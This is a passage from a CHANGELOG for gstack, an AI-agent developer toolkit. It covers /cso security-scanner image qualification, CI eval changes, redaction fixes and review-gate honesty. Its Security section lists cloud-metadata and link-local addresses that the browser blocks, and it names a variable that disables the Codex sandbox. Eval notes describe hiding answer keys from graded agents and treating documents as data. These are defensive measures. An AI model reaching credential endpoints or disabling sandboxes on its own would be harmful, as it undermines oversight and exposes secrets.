**Native runtime qualification can pass for Node, Bun, Python and Rails.**

Main run 37345275258 of `cso-runtime-images.yml` staged every image, but eight `qualify-native` rows failed. Two causes showed up in the logs, and more were hiding behind them. Every cause below is fixed, and each was reproduced on a local amd64 Docker daemon against freshly built images.

- **Promotion evidence is recomputed for injected runtimes.** The cold-start test put the staged runtimes into its test catalog without re-binding `promotion.evidenceDigest`, so Bun, Python and Rails failed with `RUNTIME_PROMOTION_EVIDENCE_MISMATCH`. A shared `installStagedRuntime` helper re-binds the digest, and the test now validates the catalog it builds.
- **npm dependency acquisition works.** npm 11 refuses to load the same file as both its user and global config. The preparation commands passed `/opt/cso/empty-config` for both, so every Node acquisition failed. The global config now points at its own empty file, `/opt/cso/empty-globalconfig`, which the Node image creates.
- **Prepared output can leave its container.** `docker cp` cannot read tmpfs mounts. The acquisition `/archives` and offline `/work` directories are now Docker local volumes backed by tmpfs, with the same size, owner, mode and `nosuid`/`nodev` options as before (`/archives` stays `noexec`). The runner refuses to start a container when Docker did not keep those options.
- **The offline seed stays up.** The in-image `seed` command exited while the offline commands were still to run, because it was waiting on a promise that nothing kept alive. It now holds a timer until the container stops.
- **Prepared trees can execute.** Docker's tmpfs default is `noexec`, so virtualenv Python and binstubs under `/work` exited with status 126. `/work` now mounts `exec` explicitly.
- **The registry broker releases its connections.** Under Bun, `pipe()` never closed the upstream socket. A Rails acquisition opens about 70 tunnels, which filled the broker's 64-connection limit and timed out. The broker and the in-container forwarder now forward end and close explicitly, and a free test opens 70 tunnels.
- **Gem acquisition is batched.** Each `gem fetch` process spends about 11 seconds loading the RubyGems index, so acquisition now runs one `gem fetch` per platform for all exact gems.
- **Rails commands wait for the source copy.** `db:prepare` ran while `run-app` was still copying the prepared tree, and failed with "Could not locate Gemfile". Rails application and test containers now start through `startHeldApplication`, which waits until the copy has finished.
- **Test fixtures.** The Python cold fixture called a method that `unittest.TestCase` does not have, and the Rails cold fixture had no `bin/rails`, so `rails server` printed the `rails new` help instead of booting.
- **Dependency installs get a bounded longer ceiling.** The Rails fixture's lockfile lists only the `ruby` platform, so `bundle install --local` compiles nokogiri, sqlite3 and pg. At the app container's 0.85 CPU share that takes about 385 seconds, past the 300-second limit on one command. Dependency fetch and install commands in the preparation phases now get `PREPARATION_COMMAND_TIMEOUT_MS` (900 seconds). Every other command keeps 300 seconds, both stay inside the journey deadline, and a free test pins which calls can ask for the longer ceiling. The CPU share and `ISOLATION_POLICY_HASH` are unchanged.
- **Export refusals name their reason.** A prepared-tree export the helper refuses now fails with `PREPARED_EXPORT_REJECTED`, the helper's exit status and its fixed reason or filesystem errno. Target paths are never included, and nothing retries. One unexplained refusal was seen locally in 20 exports, so a recurrence on CI will now say why.

- **The `/cso --diff` eval accepts every correct name for the webhook bug.** `cso-diff-mode` matched only `signature|authenticat|forg` in the root cause and impact, so a correct finding titled "no authenticity verification" failed it. It now also matches `authentic`, `spoof` and `hmac`, and checks the finding title. A solo panel on main measured the case at 10/10 with and without the qualified scanner images available.

The images change (`/opt/cso/preparation` and the Node recipe), so qualification needs a fresh staging run on main.

## [1.91.27.0] - 2026-10-05

**The first protected-main runtime staging run can finish, and a qualified scanner catalog can ship.**

The first `cso-runtime-images.yml` dispatch on main staged all ten runtime images but four rows stopped before qualification. Both causes are fixed:

- **Rails SBOMs fit the attestation limit.** BuildKit's Rails SBOM lists about 19,600 files (20 MB), past `actions/attest`'s 16 MiB cap. The runtime and scanner release workflows now sign a package-level SPDX 2.3 document (`scripts/cso-sbom-packages.jq`: packages and package relationships kept, file entries and file relationships dropped, about 0.8 MB for Rails) and reject any document whose relationships name unknown elements.
- **A qualified scanner catalog no longer breaks every scan.** Persisted scanner outcomes record the catalog revision (`cso-scanners-<sha>-<runId>`) and each profile's workflow run URL. The 11-digit Actions run id read as a phone number to the redactor, so every `gstack-cso scan` against a real catalog failed with `REDACTION_FAILED`. Catalog revisions and exact Actions run URLs are now schema-bound helper metadata; the same digits anywhere else are still redacted. Three tests that assumed the shipped catalog is empty now hold for either state, so the scanner promotion job's own validation passes.
- **The staged-image test probes tools in a real role container.** It ran `npm --version` and the other version probes inside the group's network anchor, which is limited to 8 processes; Node's worker threads exceed that and abort (exit 134). The probes now run in the verifier container that the same test already starts. Production code never executes in the anchor.

## [1.91.25.0] - 2026-10-05

**gstack can grade a private, two-architecture `/cso` release run, and the runtime release gates check more for themselves.**

These are the gstack-side pieces the private CSO runtime evaluator needs before it can qualify Node, Bun, Python and Rails runtimes. The release pipeline (`cso-runtime-images.yml` → private evaluator → `cso-runtime-qualification.yml` → `cso-runtime-promote.yml`) now verifies more of its own evidence, and nothing about a user's audit changes until a qualified runtime catalog merges.

### What changes for you

- **Private corpora score through the public scorer.** `scripts/cso-eval.ts` accepts an injected corpus with the public layout (`defineEvalCorpus`), per-cell `linux/amd64`/`linux/arm64` platforms with one producer installation and provider identity per platform, a `release` profile (v3, one repetition) and a hash-bound external v2 baseline. The `full` profile matrix is byte-identical to before.
- **Evaluation-only helper builds.** `bun run build:cso -- --evaluation-candidate <catalog> --output <dir>` builds a helper unit from a `cso-eval-` candidate catalog outside the checkout. It reports `evaluationOnly: true`; setup, promotion and normal builds refuse it.
- **The ingress checks the staging run itself.** `cso-runtime-qualification.yml` resolves the staging run from verified provenance and requires a successful protected-main `workflow_dispatch` run whose ten `qualify-native` jobs all passed. A dispatch summary job shows the approver the claimed images and an optional `evaluationRef` before approval.
- **Native gate evidence comes from test results.** Booleans are derived from JUnit executed-and-passed counts (`scripts/cso-native-evidence.ts`); skipped Docker tests no longer read as passing, and PostgreSQL rows list only the checks they need.
- **Catalog promotion PRs get their required checks.** Both promote jobs dispatch `free-tests.yml` on the new branch.
- **Multi-payload security proofs.** A verification request's `security` may hold 1–8 assertions judged in one before/after pair; a single assertion hashes exactly as before.
- **Producer cells are opaque.** A producer's input and receipt name only an opaque cell id; the evaluator maps it back to the case and variant, so an agent with root on its cell cannot learn which answer it is graded against.
- **Requalification triggers.** Qualified catalogs record the helper ABI, isolation policy hash, image preparation digest and build-inputs revision; a free test fails when the committed catalog no longer matches the code.

## [1.91.24.0] - 2026-10-05

**PR evals stop throwing away work, and a red weekly census means something again.**
**The free suite is faster, its flakes are visible, and broken commands are gone.**

This release is a test, eval and CI audit wave. It touches no skill behavior. The paid PR lane keeps a cancelled run's finished results for the next push, waits briefly when pushes come in quick succession, and runs only the gate cases a change can affect once the change avoids a shared input. Every paid lane has a ceiling sized per runner, so a stuck shard ends as an honest `TIMEOUT` or `not_run` instead of holding a runner for four hours. The weekly census can no longer be cancelled by a branch dispatch, and a new weekly test-health report says which free tests are getting flaky or slow.

### The numbers that matter

| Check | v1.91.22.0 | v1.91.24.0 |
|---|---|---|
| Paid CI job ceiling (gate census / periodic) | 254 / 173 min for every slice | 34-82 min per slice; 50 min for ordinary periodic slices |
| Local `eval:bg:pr` / `eval:bg:release` detach cap | 25.8 h / 32.4 h | 2.9 h / 2.25 h (1.5× planned work, never over 4 h) |
| Passing results a cancelled PR run hands to the next push | 0 | every finished shard, failures included |
| A branch dispatch that cancels main's weekly census | possible | no (concurrency is per ref and event) |
| Windows free lane wall | 8.1 min on one runner | about 4.6 min on six runners |
| Windows-safe files the curated lane runs | 573 | 638 |
| zsh arms of the bash+zsh portability tests in CI | ~42 skipped (no zsh) | all run |
| Free-suite flaky passes reported anywhere | none (a write-only artifact) | job summary + weekly `test:health` |
| Sentence pins on skill prose in free tests | 2,332 | 1,190 |

### What changes for you

- **PR evals keep finished work.** A `recover-receipts` job restores the passes and failures of up to five cancelled runs of the same PR, checks where each came from, and hands them to the planner, so a re-push re-runs only what changed. A 90-second debounce skips a run that a newer push has already superseded; the `evals-no-debounce` label turns it off and `evals-fresh` turns reuse off.
- **PR selection narrows where it can.** Duration seeds, free-only workflows, free tests and free fixtures (listed in `test/helpers/free-fixtures-data.ts`) no longer force the full gate. Other files map to the paid cases that actually consume them, derived from imports, bin names, template placeholders and build outputs (`scripts/pr-dependencies.ts`); deleted files are placed the same way. Shared inputs (package.json, the CI image, setup, the preamble resolvers, the eval policy) still run the full gate. The job summary names every fallback file and its fix.
- **`bun run eval:bg:pr` and friends dispatch CI when your HEAD is clean and pushed**, and otherwise run locally with a cap sized to the planned work. Both paths end with `### gstack-detach EXIT=<code> ###`; `bun run scripts/eval-bg.ts status <log-or-run-id>` reads it.
- **Weekly test health.** `bun run test:health` (and `.github/workflows/test-health.yml`, Mondays) reports PR-lane fallback rate, reuse, cancelled slice-minutes, flaky free tests over 5% of main runs, and unseeded free tests. Its tracking issue opens only from main.
- **Branch census dispatches run the periodic lane only.** Add `-f include_gate_census=true` for the gate census too, or dispatch `evals.yml` with `-f evals_all=true` for gate cases alone.
- **The OSV scan opens a tracking issue when it fails on main**, and a free test fails 14 days before any `ignoreUntil` suppression expires.

### Behavior changes you may notice

- **EVAL_POLICY is v2.** A case's pass-rate history resets only when its own files or the declared `HARNESS_VERSION` change, weeks for quarantine expiry count main runs only, and branch census trials count toward a case's history only when its files match a series main has run. Readers ignore records from a newer policy version and say how many they skipped. Shared-harness edits record a decision with `bun run scripts/bump-harness-version.ts --bump|--non-behavioral "<why>"`.
- **The 15 `carve-section-loading-<skill>` test files are one case-sharded file** with a case id per skill (`--case carve-section-loading-review`); `GSTACK_CARVE_SKILL` is gone. `skill-e2e-qa-workflow` runs case by case.
- **Paid slices pack 7 minutes of work (was 9)**, so more runners start at once.
- **`eval:select` defaults to the PR profile.**
- **`/cso` docs say contained runtime and scanner runs are not available yet**: no runtime profile is qualified and the scanner catalog is empty.

### For contributors

- These package scripts print their replacement and exit 1 for one release, then go away:

| Retired | Use instead |
|---|---|
| `test:evals`, `test:e2e`, `eval:bg` | `bun run eval:bg:pr` |
| `test:evals:all`, `test:e2e:all`, `eval:bg:all` | `bun run eval:bg:release` |
| `test:gate` / `test:periodic` | `bun run test:gate:sharded` / `test:periodic:sharded` |
| `test:codex`, `test:codex:all` | `bun run test:periodic:sharded` (they ran zero cases) |
| `eval:flake-rank` | `bun run eval:pass-rates` |
| `eval:watch` | tail the `gstack-detach` log, or `gh run watch <run-id>` |
| `test:audit` | `bun run test` |

- `docs/test-value-bar.md` narrows a "prompt-byte contract" to machine-read tokens. Check template and SKILL.md structure with `test/helpers/prompt-structure.ts` instead of pinning English sentences.
- Free-suite tests share one install fixture (copy-on-write clones of a read-only seed) and inject short deadlines instead of waiting real seconds. Subprocess pipe tests use FIFOs; see TESTING_INTERNALS "Flake ledger" for the rules.
- The free duration seed is shrink-only above 60 seconds per file (`scripts/free-test-seed-allowlist.json`), and only `bun run test:ubicloud --record-durations` produces an acceptable seed. Windows has its own seed, refreshed by a `record_durations` dispatch.
- Deleted: `ci-image.yml` (the eval workflows build the same image), `scripts/update-readme-throughput.ts`, `scripts/eval-watch.ts`, orphaned fixtures, and ~160 unused imports in the paid runner (now split into `scripts/lib/paid-types.ts` and `paid-select.ts`). Native Windows and Dia qualification moved to the dispatch-only `native-qualification.yml`; ML, gitleaks and Swift opt-in tests run in the quarterly `platform-qualification.yml`. Small CI jobs run on free GitHub-hosted runners.
- Evidence, the EVAL_POLICY v2 memo and its backtest are in [docs/test-audit-2026-10.md](docs/test-audit-2026-10.md).

## [1.91.22.0] - 2026-10-05

**`/cso` scanner execution has reviewed, signed scanner images to build from.**

`lib/cso/scanner-images/build-inputs.json` now pins one attested base image per scanner (gitleaks, OSV-Scanner, Semgrep, zizmor, Trivy, Schemathesis) for linux/amd64 and linux/arm64, plus the SBOM generator. None of the upstream images publish GitHub artifact attestations, so the bases come from [`garrytan/gstack-cso-scanner-bases`](https://github.com/garrytan/gstack-cso-scanner-bases) release `bases-2026.10.04.3`: each re-publishes a pinned upstream digest with the offline Semgrep rules or OSV/Trivy databases added, and its workflow signs SLSA provenance and an SPDX SBOM. Every identity, statement-set digest and asset hash was re-verified independently before the state changed to `reviewed`. Dispatching `cso-scanner-images.yml` on main now builds, qualifies and proposes the scanner catalog; until that catalog merges, scans still report `not assessed`.

### The numbers that matter

| Check | Result |
|---|---|
| Attested images (6 scanners x 2 platforms + generator) verified with gstack's own `gh attestation verify` flags | 13/13, both predicates |
| Statement-set digests recomputed with `scripts/cso-attestation-evidence.ts` | 26/26 equal |
| Offline asset hashes recomputed from both platforms with `hash-asset` | 6/6 equal |
| Scanners completing a real network-none scan through the production adapter on the published amd64 bases | 6/6, no coverage gaps |

### What changes for you

- **OSV and Trivy reports survive redaction.** Advisory links such as `ntap-20210312-0006` read as phone numbers and four-part versions read as IP addresses, which used to discard the whole report. Scanner output now has each located span replaced in place; output is still withheld when a span cannot be located or crosses stdout and stderr.
- **Schemathesis scans finish.** Schemathesis 4.26+ fuzzes until `--max-time` is spent; the adapter now budgets 75% of the scanner deadline and accepts a `max_time` stop once every selected operation ran.
- **The scanner qualification test runs.** Its fixture now lives where the executor mounts sources and declares a real dependency, so OSV and Trivy exercise their offline databases.

### For contributors

- Refresh advisory databases by pushing a new `bases-*` tag in `gstack-cso-scanner-bases`, then review the release's `build-inputs.json` candidate here.

## [1.91.19.0] - 2026-10-03

**A check that did not run now says so, and memory stops losing transcripts.**
**Codex and the other non-Claude hosts find gstack in every step of every skill.**

This release closes the severe bugs left in the tracker. Two promises lead. First, nothing is silently lost: memory ingest marks a transcript saved only after gbrain confirms it landed, and learnings that could not be written say so. Second, no false all-clear: a Codex review whose sandbox could not start, a retired Codex model, a design binary killed at launch, and a learnings search with no Bun all used to read as "ready", "pass" or "no results". Each now prints `not run` or `unavailable` with the reason and the fix command, and every one of those messages has a section in the new [docs/troubleshooting.md](docs/troubleshooting.md).

### The numbers that matter

Measured on this release's tests against v1.91.16.0's code (each regression test was run on both; the counts come from those runs and from `bun run gen:skill-docs --host all`).

| Check | v1.91.16.0 | v1.91.19.0 |
|---|---|---|
| Codex review in a container with no user namespaces | gate `pass` on "no findings" | `unavailable`, missing coverage |
| Structured outside review with a `[P0]` finding | gate `pass` | gate `fail` |
| Generated bash blocks on env-var hosts that use a gstack path without finding gstack (`test/env-host-fence-conformance.test.ts`) | hundreds | 0 |
| Codex `/ship` SKILL.md | 202-241 KB, ~57K tokens | carved, ~20K tokens |
| Redaction warnings on one rendered `/diagram` (SVG + .excalidraw) | 115 | 0 |
| A transcript gbrain skipped during import | stamped as saved | retried until gbrain has it |

The first two rows are the ones to care about: a review that read nothing, or found a P0, used to let /ship through.

### What changes for you

- **Gates tell the truth.** Outside reviews go through one classifier that reads the text, stderr and exit status. Codex reviews that could not run print `Codex outside review unavailable: <reason>` with the fix, and /ship and /review show them as missing coverage, never as passed.
- **Memory keeps what you gave it.** Memory ingest checks that each page landed before marking it saved, retries pages gbrain skipped, and sets aside (and names) one page that keeps breaking a batch. After upgrading, a bounded catch-up per `/sync-gbrain` re-imports transcripts older versions lost (`gstack-memory-ingest --reconcile --dry-run` previews it). Transcripts import into a private gbrain source per repository.
- **Codex, Factory, OpenCode, Cursor, Copilot and Kiro** see the gstack router (setup installs real copies, which Codex requires), get the design and make-pdf binaries, and every skill block finds gstack on its own, honoring `CODEX_HOME` and an exported `GSTACK_ROOT`. `./setup --status` says whether each install's router is a real file and its section links resolve.
- **Pushes stop being blocked by false positives:** diagram coordinates, `session = requests.Session()`, `CLAUDE.local.md`, four-part version numbers and `postgres:postgres@localhost`. Real secrets still block.
- **Windows:** /freeze, /guard and /investigate stop denying every edit, the generators no longer crash with EEXIST, the node-server bundle builds, and the /cso helper builds with the current Windows SDK.
- **/ship in a repo without a VERSION file** ships without a version change instead of stopping.

### Behavior changes you may notice

- **Codex reviews in containers say "unavailable" instead of passing.** Fix: enable unprivileged user namespaces, or in a container you trust `export GSTACK_CODEX_NO_SANDBOX=1`.
- **The structured outside-review gate fails on P0 findings**, not only P1. An untagged structured review is `OUTSIDE_STATUS: unverified` (missing coverage).
- **`CODEX_MODE: unverified`** replaces `ready` when the model check times out; the review still runs and its own result is checked.
- **The first automatic Codex review on a machine prints a one-time notice** naming the provider and which login or key pays. Reviews stay on; `gstack-config set codex_reviews disabled` turns them off.
- **/ship without a version source ships without a version change:** no bump, no CHANGELOG version header, no `vX.Y.Z` title prefix. To version releases, create `VERSION` or `echo package.json > .gstack/version-path`. A pinned version file that is missing or malformed stops /ship with its path.
- **The plan completion audit says `not run`** instead of auditing your PR against the newest unrelated plan. Bind one with a `Plan: <path>` line in the PR body, or run /autoplan.
- **Learnings and timeline lookups report a missing Bun** (exit 127 with the fix) and skills print `LEARNINGS: unavailable (<reason>)` instead of an empty list.
- **Design skills say `DESIGN_NOT_AVAILABLE: <path> --version exited <code>`** when the design binary cannot start, instead of claiming it is ready. Fix: `cd <gstack checkout> && ./setup`.
- **`/sync-gbrain --dream` (and `--full`) runs only the call-graph phase.** If your gbrain cannot, it skips and says so; run `gbrain dream --source <id>` yourself for the full ~35-minute cycle.
- **`gstack-memory-ingest --no-write` is a true dry run** and no longer records pages as saved.
- **Transcripts with no repository stay on this machine** when your brain is remote. Staged pages carry a `gstack_content_sha256` frontmatter field.
- **Disabled skills leave the router** (`gstack-config set disabled_skills ...` updates it in the same command).
- **`browse type --selector <sel> <text>`** types into an element. Bare `browse type` still types into the focused element and hints when the first word looks like a selector. Text starting with `--` goes after `--`.
- **Headed browse keeps one profile per project** (`<project>/.gstack/chromium-profile`). First use copies your logins from `~/.gstack/chromium-profile` when no browser is using it. `browse profiles` lists them; `browse profiles prune --days 30` removes idle ones. If a live browser holds the profile, browse names it and stops instead of killing it.
- **A redirect or link to a link-local or metadata address resets the tab to `about:blank`** and the command fails with the reason.
- **`BROWSE_EXTENSION_ID` is ignored;** forks use `gstack-config set browse_extension_id <id>`. `BROWSE_EXTENSIONS_DIR` runs headless with no window.
- **`$D` (design) no longer picks up `OPENAI_API_KEY` from a project's `.env`.** Export it in your shell or use `~/.gstack/openai.json`.
- **A database URL with the default `postgres`/`postgres` login still blocks a push on any host but `localhost` or `127.0.0.1`,** including a compose service name like `@db`. Use `localhost`, or read the URL from an env var.
- **Auto-update (team mode) no longer says "just upgraded" when setup failed.** It retries after 1h, 6h and 24h, and each session start prints one line naming what did not finish and the fix.
- **Hand edits to installed router copies are saved to `~/.gstack/backups/skill-copies/`, then overwritten.** Setup prints where.
- **In Conductor, setup no longer installs the AskUserQuestion preference hook** and removes one it added. To keep it: `gstack-config set plan_tune_hooks yes`, then `./setup`.
- **Required team mode also blocks Copilot CLI's skill tool.** Re-run `gstack-team-init required` to upgrade the project hook.
- **`gstack-qa-evidence capture` prints a `revalidate` list after your inputs change**, naming the probes to rerun on current inputs before `materialize`; `materialize` says its verdict is final for that report root, so rerun the listed probes first.
- **/gstack-upgrade asks you to paste the absolute path Step 2 prints**; every later step checks it is inside gstack's checkout before running git.
- **/ship's documentation gate snapshots its inputs in one call.** `gstack-docs-candidate snapshot` records the audit candidate (base, HEAD, index, changed and new paths, content hashes) and `compare` reports what changed after the child returns.
- **Two setups writing settings.json at once both land.** A writer whose lock attempt raced a holder releasing it used to skip its hook change (exit 5); it now retries once and only reports `cannot create lock` when the lock directory truly cannot be created.
- **/plan-ceo-review prints its mode handoff** by running `gstack-ceo-mode-handoff` right after the mode is chosen (by you or by a saved preference), so the selected mode and approved decisions always appear before the review continues.
- **Browser setup names the platform when Aside is absent:** the probe prints `NEEDS_ASIDE: <OS>` (was `NEEDS_ASIDE`), and the macOS-only download pitch trusts that line instead of re-checking the OS. `GSTACK_PLATFORM` overrides it for tests and unusual hosts; set it in your shell, never a project `.env`.

### Security

- A repository's `.env` or `bunfig.toml` can no longer change gstack's browser. Compiled binaries and the browse daemons ignore them, so a project cannot turn off Chromium's sandbox (`GSTACK_CHROMIUM_NO_SANDBOX`) or run code through a bunfig `preload`. This needs Bun 1.3.3 or later; gstack now requires Bun 1.4.0 (`engines.bun`), the version CI runs.
- The browse sidebar terminal accepts connections only from the gstack extension.
- Browse refuses link-local and cloud-metadata addresses (169.254.0.0/16 including container credential endpoints, 100.100.100.200, fe80::/10, fc00::/7) in every numeric and IPv6-mapped spelling, including after redirects and page-driven navigation. Connection-time DNS rebinding is not covered.
- Screenshot, PDF and scrape output paths are checked the way the OS resolves them, so a symlink cannot redirect a write outside the allowed folders.
- `GSTACK_CODEX_NO_SANDBOX` is read only from your shell environment (exactly `1`), and every use prints a warning.
- The iOS QA daemon bounds each device response (one 30-second deadline for the whole response, 64 MiB cap) and never replays a tap or write whose response was lost.

### Upgrade

- **Claude Code:** run `/gstack-upgrade`, then start a new session.
- **Codex and the other env-var hosts (Factory, OpenCode, Cursor, Copilot, Kiro):** find your checkout with `./setup --status` (the `source` column), then run `cd <source> && git pull && ./setup --host <host>`, and start a new session.
- Then `./setup --status` should show each install's router as a real file with every section link resolving.

### Itemized changes

#### Fixed
- **Memory and gbrain.** Ingest stamped pages gbrain skipped or never stored (#2778); `--no-write` wrote state. A project's `.env` `DATABASE_URL` reached a local PGLite brain (#1931). Offline or off-VPN looked like a broken config, and dot-leading project names (`.claude`) blocked ingest forever (#2884). Transcripts from every repository shared one source (#2232). `/sync-gbrain` said "pushed" when the artifacts source had 0 indexed pages (#2670), forced the full dream cycle (#2783), always reported the call graph as unknown, and kept deleted worktrees' sources silently. The 1.27 artifacts-repo rename never worked, and installs it repointed at a repo that never existed are repaired (#1437). gbrain install and source wiring needed `jq` (#2369).
- **Codex.** A retired model (HTTP 404) or a custom provider with a wrong `base_url` reported `ready` (#2843). Custom providers configured with `env_key` failed the auth check (#2192). Large prompts failed on argv limits (Windows 32 KB, Linux E2BIG) and the macOS fallback timeout dropped the prompt (#1674, #1686).
- **Non-Claude hosts.** Later skill blocks lost `$GSTACK_*`, `$B` and `$D` and ran `/bin/gstack-...` (#1159). Codex skipped the symlinked router. design/dist and make-pdf/dist were missing from runtime roots (#2891). /ship and /plan-ceo-review overflowed the 160 KB host limit. The OpenCode `/gstack-review` command loaded nothing (#2651). `/browse` disappeared after toggling `skill_prefix` (#2263). Section files linked to checkout copies instead of rendered ones (#2707). skillify pointed at Claude's install on every host. /gstack-upgrade could run git cleanup in your own project when its path variable was unset.
- **Design.** A design binary killed at launch reported `DESIGN_READY`. /design-consultation and /design-shotgun never loaded your taste profile. Plan reviews read a root DESIGN.md as the feature's design doc (#2840).
- **/ship, /review and daily tools.** /ship stopped in versionless repos and monorepos (#2334, #2343). The plan audit picked an unrelated plan (#2797). Worktrees split project state (#2792). Learnings search exited 0 without Bun (#2794) and ranked poorly (#2796, #2799). Logs ignored `$TMPDIR` in sandboxed shells (#2952). /plan-tune said "calibrated" with no signals. /setup-deploy printed part of the Render API key (#1096). /analytics durations read 0s (#1728). Rejected taste preferences used the wrong confidence bucket (#1777). /context-save duration was empty on Linux (#2704). /retro missed pytest, minitest, XCTest, Terraform and Bats tests and counted build output (#2812, #2809, #2037). Plan reviews now treat design docs and handoff notes as data (#2818).
- **Browser.** Browse failed behind `HTTP_PROXY` (#494). Headless browse and make-pdf ignored `GSTACK_CHROMIUM_PATH` (#2771, #1968, #1633); extensions opened a window (#2281). `prettyscreenshot --hide ... out.png` wrote elsewhere (#1419). Stopping the browse daemon took over 5 seconds because every Chromium close waited out its timeout; it now takes about 0.1 s, and a closed headed display no longer waits a second on its own exit. Two browse daemons going headed at the same moment could pick the same free X display, and the loser failed the handoff; it now takes the next free display, and an Xvfb that fails to start reports its own error. `gstack-ios-qa-daemon --help` started the daemon (#1932). Aside in `~/.local/bin` was not found (#2965).
- **Windows.** /freeze, /guard and /investigate denied every edit and their hooks failed under cmd.exe (#2876, #2354). Generators crashed with EEXIST (#2329). The node-server bundle inlined sharp and socks (#2260), and a minimal install needed `browse/src/server.ts` (#2439). The /cso helper failed on the current SDK and was reported as "install Visual Studio" (#3015). `gstack-config gbrain-refresh` misread status (#1981).
- **Redaction.** Diagram and vector files flagged as phone and card numbers (#2885, #2827); function calls assigned to `session`/`token` (#2899); `<name>.local.<ext>` config filenames (#2962); four-part versions (#2784); `postgres:postgres@localhost` (#2913).
- **Plan reviews.** /plan-eng-review writes its QA test plan even while some test choices are still pending, and its findings enter only through Scope Challenge C's saves. /qa-only's test value card no longer points at /qa's record step. /plan-ceo-review says what its closing cleanup does (old CEO plans are archived only with your approval).
- **Setup.** Auto-update wrote "just upgraded" after a failed setup and never retried. Conductor got the AskUserQuestion preference hook (#2208, #2207, #2719); office-hours asks its questions as `Q1...` prose there (#2729). Team mode's matcher missed Copilot's `skill` tool (#2229). A failed arm64 re-sign left a broken binary.

#### Added
- `docs/troubleshooting.md`: every gate message, what it means, what is kept, and the command that fixes it.
- `gstack-memory-ingest --reconcile [--dry-run] [--limit N]` and `--request-reconcile`; `gstack-gbrain-sync --prune-gone-worktrees [--dry-run]`; `gstack-slug --adopt-legacy --from <slug>` / `--dismiss <slug>`.
- `browse type --selector`, `browse profiles [list|prune --days N]`, `design --version`, `gstack-config set browse_extension_id <id>`.
- For scripts: `bun lib/outside-review-result.ts --verdict <gate> <file>` prints `VERDICT: clean|findings|unverified|unavailable` (exit 0/3/4/1); the two-argument form is unchanged.

#### For contributors
- New invariants with free tests: gate outcomes in `lib/gate-outcomes.ts` with a troubleshooting anchor per reason code; a fresh-shell conformance test and a quote-aware bash lint over every generated block on every env-var host; a per-host 160,000-byte SKILL.md ceiling.
- Eval children no longer receive credential env vars that carry a suffix (`GITHUB_TOKEN_1`, `GITHUB_APP_PRIVATE_KEY_BASE64`); admit one explicitly with `extraAllow` (#2949). Chunked large-push coverage for the pre-push guard (#2915).
- The test typecheck ratchet ignores the order tsc prints an object type's members in.
- The weekly eval report counts only cases that ran: tests deselected for another tier or case shard are listed by reason with no credit, every result is attributed to its case (0 unattributed, was 72), and no PR-lane eval shard runs over 10 minutes (the deploy eval is split per case).
- Codex evals run on their own CI job where Codex's sandbox can start, and pass only when Codex completed a command; a review whose sandbox failed now fails instead of passing. The `/codex review` eval passes only when Codex actually reviewed the diff. The AUQ matrix checks the `(recommended)` marker on option labels, where the auto-decide hook reads it. The `/plan-eng-review` QA test-plan eval now runs the real interactive review instead of a shortcut prompt that skipped the workflow: a periodic checkpoint resumes it at Test review from a recorded Scope Challenge, and the full fresh run is a non-blocking marathon case.

## [1.91.18.0] - 2026-10-03

**Transcript consent can cover only new sessions or only chosen repos, and Claude Code users can opt into a model-tuned skill overlay.**
**The safety rules and judges the Opus 5.5 cleanup left alone now have evals and calibration behind them.**

This release closes the follow-ups filed by the v1.91.15.0 prompt cleanup. The cleanup had held six safety rules at their old wording and left the judge prompts untouched, because nothing could show a change was safe. Each now has an eval or a calibration corpus, and only the changes that passed them shipped.

### What changes for you

- **Narrower transcript consent.** The gbrain transcript gate offers "new sessions only", stored as `new@<UTC time>`, which ingests only sessions that started after you answered. `gstack-config set transcript_repos <repo,...>` limits ingest to the repos you name. Turning ingest `off` keeps pages already staged, and only a narrower choice purges them. `gstack-config unset <key>` is new, and every config write now takes a lock.
- **Opt-in Claude overlay.** `./setup --claude-model <id>` renders the model's tuned skill overlay (opus-4-7, opus-4-8, sonnet-5, fable-5) and keeps it across upgrades and `gbrain-refresh`. `./setup --claude-model claude` returns to the generic overlay, and `./setup --status` shows which one is active.
- **Design docs follow your state root.** /plan-eng-review, /plan-ceo-review, /plan-devex-review and /autoplan find /office-hours design docs under `$GSTACK_STATE_ROOT` through the new `gstack-design-doc-find` helper, so custom state roots no longer miss them.
- **/design-shotgun** generates its variants with one `$D variants --briefs-file` call instead of one subagent per variant, then publishes every image with `gstack-design-claim`, so earlier rounds are never overwritten.
- **/qa and /qa-only** probe loops use readable names (`PROBE_DIR`, `DEADLINE_FILE`, `DEADLINE_TOOL`, `EVIDENCE_TOOL`) and a short "how one probe works" summary. The commands and machine-read markers are unchanged.
- **Codex outside voice** states its filesystem boundary at normal volume. A 10-trial eval showed Codex still keeps out of `~/.claude/`, `~/.agents/`, `.claude/skills/` and `agents/`. The pair-agent instruction block's divider is fixed.

### Itemized changes

#### Added
- Six safety-rule evals (`test/skill-e2e-safety-*.test.ts`) and a registry of held safety rules (`test/helpers/safety-rules.ts`) that fails when a listed rule's wording changes without its eval.
- Judge calibration: `scripts/judge-calibration.ts` and stored corpora in `test/fixtures/judge-calibration`. The arm, qa health-rubric, qa anti-refusal, cross-skill, voice and default workflow judges now send a JSON schema; each passed its flip-rate and false-pass checks against the old prompt.
- Archaeology lint (`test/archaeology-lint.test.ts`) flags issue numbers, plan IDs and incident stories in runtime skill prose. `bun run audit:manifest` prints the file slices to feed `/claude-api prompt-audit` at each frontier-model release (see CONTRIBUTING.md).
- The Opus 5.5 dedicated-tools overlay case runs in the periodic lane, and `plan-ceo-review-plan-mode` joins the fast PR profile.

#### Changed
- The plan-floor assessment cap is 90 seconds (it was 30); the measured p95 is 27 seconds and the slowest run took 31.
- Parity caps lowered to measured sizes for land-and-deploy and ship.
- The codex consult section drops issue numbers from its runtime prose.

#### Fixed
- /review's specialist header counted advisory findings in its total; the header's N is now defined as critical plus informational.
- Free-lane shards failed with "browser ownership deadline exceeded" when a browse daemon took more than 5 seconds to exit after SIGINT. Reaching the force-kill point now ends the graceful phase instead of recording a cleanup failure; a probe cut off at that point still fails the shard.
- `bun run audit:manifest` printed backslash paths on Windows.
- /review and /ship's design-review scope check sourced `gstack-diff-scope` without printing `SCOPE_FRONTEND`, so the agent could not see the value and reran the helper by hand. The block now prints it.
- Exploratory QA could publish its evidence before listing captures taken before an input change, which left the verdict inconclusive (materialize runs once). The probe loop now says to annotate every capture and mark older-snapshot ones `superseded`.

#### For contributors
- Five safety rules and the qa workflow, review and cookie judges keep their wording; TODOS.md lists what each needs before it can change.

## [1.91.17.0] - 2026-10-03

**Checkpoints say whether each next step was run, read or guessed, and `/context-restore` verifies the guesses first.**
**Paid design images are never overwritten, and design skills always show the round you just paid for.**

